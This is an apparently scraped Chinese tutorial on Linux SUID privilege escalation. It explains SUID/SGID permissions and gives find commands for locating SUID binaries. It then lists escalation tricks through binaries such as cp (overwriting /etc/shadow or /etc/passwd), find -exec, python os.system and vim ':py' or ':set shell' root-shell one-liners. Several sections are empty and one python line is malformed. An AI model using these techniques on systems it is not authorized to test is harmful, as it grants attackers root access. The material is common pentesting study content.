SUID提权
SUID介绍
1 2 3 4
| SUID(set user id)是一种特殊权限,设置了suid的程序文件 在用户执行该程序时,用户的权限是该程序文件属主的权限 例如程序文件的属主是root,那么执行该程序的用户就将暂时获得root账户的权限 SGID(set group id)与SUID相似,只是执行程序时获得的是文件属组的权限
|
1 2 3 4
| 1.只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义 2.命令执行者要对该程序文件拥有x权限 3.命令执行者在执行该程序时获得该程序文件属主的身份 4.SUID权限只在程序执行过程中有效,也就是说身份改变只在程序执行过程中有效
|
1 2 3 4 5
| 设置suid权限: chmod u+s 文件名
删除suid权限: chmod u-s 文件名
|
搜索具有SUID权限的程序
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| find / -perm -u=s -type f 2>/dev/null find / -perm -g=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {};
/ 表示从文件系统的顶部(根)开始并找到每个目录 -perm 表示搜索随后的权限 -u=s 表示查找root用户拥有的文件 -type表示我们正在寻找的文件类型 f 表示常规文件,而不是目录或特殊文件 2 表示该进程的第二个文件描述符,即stderr(标准错误) > 表示重定向 /dev/null 是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。
|
SUID提权命令
1 2 3 4 5 6 7 8 9
| awk bash cp find less more nano nmap vim
|
bash命令提权
进入bash的shell
输入命令
cp命令提权
1 2
| 将/etc/shadow或/etc/passwd文件覆盖 使得管理员用户的密码被覆盖
|
find命令提权
find命令存在一个参数exec
可执行其他的系统命令,且为root权限
exec
需要一个分号;
作为结尾
more/less命令提权
进入shell
nmap命令提权
条件:
进入交互模式
执行命令
python命令提权
1
| python -c "importos;os.system('/bin/bash')
|
vi/vim命令提权
方式一
打开交互式shell
1
| vim -c ':py import os;os.execl("/bin/sh","sh","-pc","reset; exec sh -p")'
|
方式二
按下ESC
1 2
| :set shell=/bin/sh 回车 :shell
|
wget命令提权